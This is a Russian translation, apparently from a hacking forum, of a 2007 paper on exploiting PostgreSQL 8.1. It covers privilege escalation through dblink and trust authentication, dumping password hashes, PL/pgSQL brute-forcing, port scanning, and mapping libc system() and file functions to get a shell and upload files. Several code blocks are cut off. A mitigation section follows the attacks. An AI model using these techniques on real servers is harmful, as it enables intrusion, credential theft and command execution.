![]() |
[Перевод]Развлечения с PostgreSQL
Развлечения с P o s t g r e S Q L
Автор: Nico Leidecker ( nfl@portcullis-security.com) Дата: June 05 2007 Перевод: NeMiNeM PostgreSQL - это объектно-реляционная система управления базами данных (ORDBMS) (по-русски ОРСУБД или просто СУБД) основанная на POSTGRES, версии 4.2, которая была разработана в Научном Компьютерном Департаменте Беркли Калифорнийского Университета. POSTGRES является пионером во многих аспектах, которые стали доступны в некоторых коммерческих СУБД много позже. PostgreSQL - это продукт с открытым исходным кодом, который является потомком оригинального кода, написанного в Беркли. PostgreSQL поддерживает большую часть стандарта SQL и предлагает множество современных возможностей. (подробно) [Предисловие] В этой статье будут представлены несколько идей для эксплуатации уязвимостей в типичных конфигурациях PostgreSQL. Большинство идей не новые, но всё же их тяжело найти или очень легко недосмотреть. Все примеры проверялись на PostgreSQL 8.1 и могут не совпадать с предыдущими версиями. Версия 8.2 обсуждается в разделе о pgchanges. [dblink: Корень Зла] Dblink – часть PostgreSQL начиная с версии 7.2. DBlink позволяет организовать связь между серверами и с одного сервера обращаться за данными на другой сервер. Типичное использование dblink: Код:
CREATE VIEW entry_states AS SELECT * FROM[Расширение привилегий] В конфигурации PostgreSQL по-умолчанию включена локальная trust-аутентификация, т.е. каждое подключение к бд с локального хоста будет принято даже без ввода пароля. Трудно понять, почему такая опция включена по-умолчанию и соответствующие предупреждение в файле 'pg_hba.conf' безошибочное: Внимание: Конфигурация системы для локальной trust-аутентификации даст возможность любому локальному пользователю подключится к PostgreSQL под именем другого пользователя, даже superuser. Если вы не доверяете локальным пользователям, используйте другой метод аутентификации. Опытный админ скорее всего не пропустит этого, но новичок может и не отключить такую аутентификацию. Итак! Что же будет если мы будем использовать dblink для подключения к локальному хосту? Код:
SELECT * FROM dblink('host=127.0.0.1Код:
$ psql -U someuser somedbКод:
somedb=> select usename, passwd from pg_shadow;Код:
SELECT[Брут-форс учётных записей] Если локальная trust-аутентификация отключена мы всё же можем брутить эккаунты, возможно будет акк с простым паролем. Самый простой, но примитивный вариант – это посылать в SQL запросе к серверу слова, вложенные в POST или GET запрос. Но, необыкновенное количество запросов может вызвать подозрение. Другой метод, который использует только один или два запроса, а остальное оставляет для обработки базой данных это PL/pgSQL - загружаемый процедурный язык для PostgreSQL, который должен создать администратор выполнив CREATE LANGUAGE 'plpgsql'. Мы можем проверить его присутствие: Код:
somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; В этом случаи, наш предыдущий запрос выдал бы такой результат: Код:
somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';Однако, у нас есть право использовать язык и таким образом создавать произвольные функции. Итак, создадим функцию, которая составляет слова и использует их в строке соединения dblink с локальным хостом. Кроме того, нам нужен обработчик ошибок, на случай если аутентификация провалится. Код:
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,Код:
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,Код:
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,[Сканирование портов с помощью удалённого доступа] Когда попытка подключения неуспешна, dblink показывает исключение `sqlclient_unable_to_establish_sqlconnection' и разъяснение ошибки. Некоторые примеры: Код:
SELECT * FROM dblink_connect('host=1.2.3.4DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? b) Закрытый порт DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? c) Порт открытый DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request или DETAIL: FATAL: password authentication failed for user "name" d) Порт открытый или стоит фильтр DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? К сожалению, нет возможности получить детали исключения в пределах PL/pgSQL функции. Но возможно получить детали, если есть возможность подключится к серверу PostgreSQL напрямую. Если нет возможности получить логины и пароли просто из системных таблиц, атака из списка слов может принести результат. [Подключение функций] Если мы присмотримся ближе к dblink то увидим такие строчки: CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS '$libdir/dblink','dblink_connect' LANGUAGE 'C' STRICT; Это простой оператор CREATE с переменной $libdir, которая представляет директорию библиотеки PostgreSQL. После исполнения запроса, функция подключается с библиотеки dblink к dblink_connect(), которая ожидает аргумент TEXT. Нет ограничений на библиотеки и функции, и в какой директории мы ищем эти функции. Следовательно, мы можем создать функцию и подключить ее к любой функции произвольной библиотеки…припустим `libc': CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT; По-умолчанию, обыкновенный пользователь не будет иметь прав на создание функций с помощью языка `C'. Но в случаи, если мы супер-пользователь или используем расширение привелегий, можем получить шелл. [Получаем шелл] PostgreSQL предлагает функцию для строк на С, кот. называеться CSTRING. Это позволяет нам не только подключать функции, которые ожидают целые аргументы, но также позволяет изменять структуры TEXT в необработанные символьные массивы. И это открывает для нас новые ворота: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; Всё, что мы делаем с system() будет исполнено в контексте сервера. Однако не факт, что это будет рут. [Заливаем файлы] Экспериментируя с функциями, мы можем открывать, вводить информацию и закрывать файлы. Вот интересный приём для отправки данных с бинарника к бд сервера и потом ввод данных в файл. Нам нужны функции: CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; Отправка бинарных данных на сервер, который потом передаст их к бд может провалится. Для этого, лучше перекодировать бинарные данные в буквенно-цифровые. Base64 – наш друг и сервер PostgreSQL соединит хранящийся процедуры. PostgreSQL будет запускать процесс для каждого нового подключения, таким образом файл-дескриптор будет отключатся вместе с завершением соединения. Это значит, что нам нужно будет за каждым разом открывать тот же файл чтоб переслать часть информации. Но это не проблема. Вот функция, которая открывает, вписывает информацию и закрывает файл, а также декодирует строку base64 перед тем, как вписать ее в файл: Код:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int ASO_APPEND | O_RDWR ) и S_IRWXU. Заметьте, они зависят от ОС. [Функции sleep и copy в PostgreSQL 8.2] Много вещей в этой статье основанные на версии 8.1 и не будут работать или будут плохо работать в версии 8.2. К примеру, в новой версии есть встроенная функция pg_sleep. Вообще-то эта функция упростит нам жизнь. Но другой новой фичей есть проверка на совместность при загрузке библиотек. Каждая библиотека должна иметь спец.блок для идентификации. Конечно, libc не имеет такого блока и по этому не может быть загружена. Вкратце, мы не можем использовать system() для исполнения шелл-команд и write(), open() или close() для работы с файлами. Но мы можем использовать команду COPY для записи в файл. К сожалению, нам понадобятся права супер-юзера для копирования данных с таблицы в файл и мы не сможем записать бинарные данные в файл. Вопрос: Поможет ли нам запись с низкими правами данных ASCII в глобальный каталог для записи (например `/tmp') ? Скорее всего – нет. |
[Рекомендации и предотвращение]
Во-первых нужно отключить локальную trust-аутентификацию. Для этого отредактируйте строчки по-умолчанию в конце файла pg_hba.conf: local all all ident sameuser host all all md5 Как результат, каждый пользователь (локальный или удаленный) должен будет идентифицироваться. Расширение привелегий с помощью dblink уже не будет возможным. Для отключения мэппинга к произвольным библиотекам лучше всего обновить версию PostgreSQL. Но также будет необходимо убедиться что у всех пользователей ограниченные права. [Скрипт pgshell] `pgshell' – это скрипт на пэрл, который делает то, что описано в этой статье. Он использует SQL-инъекции для собирания данных о системе, расширяет привелегии, создает шелл и загружает файлы. Описание и сам шелл здесь: http://www.leidecker.info/pgshell/ [Ссылки] http://db.cs.berkeley.edu/postgres.html http://www.postgresql.org/about/history http://www.postgresql.org/about/users http://www.linuxshare.ru/postgresql/manual/intro-whatis.html Оригинал - http://milw0rm.com/papers/165 Перевод: NeMiNeM Специально для antichat.ru ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить :) Спасибо. |
| Время: 22:07 |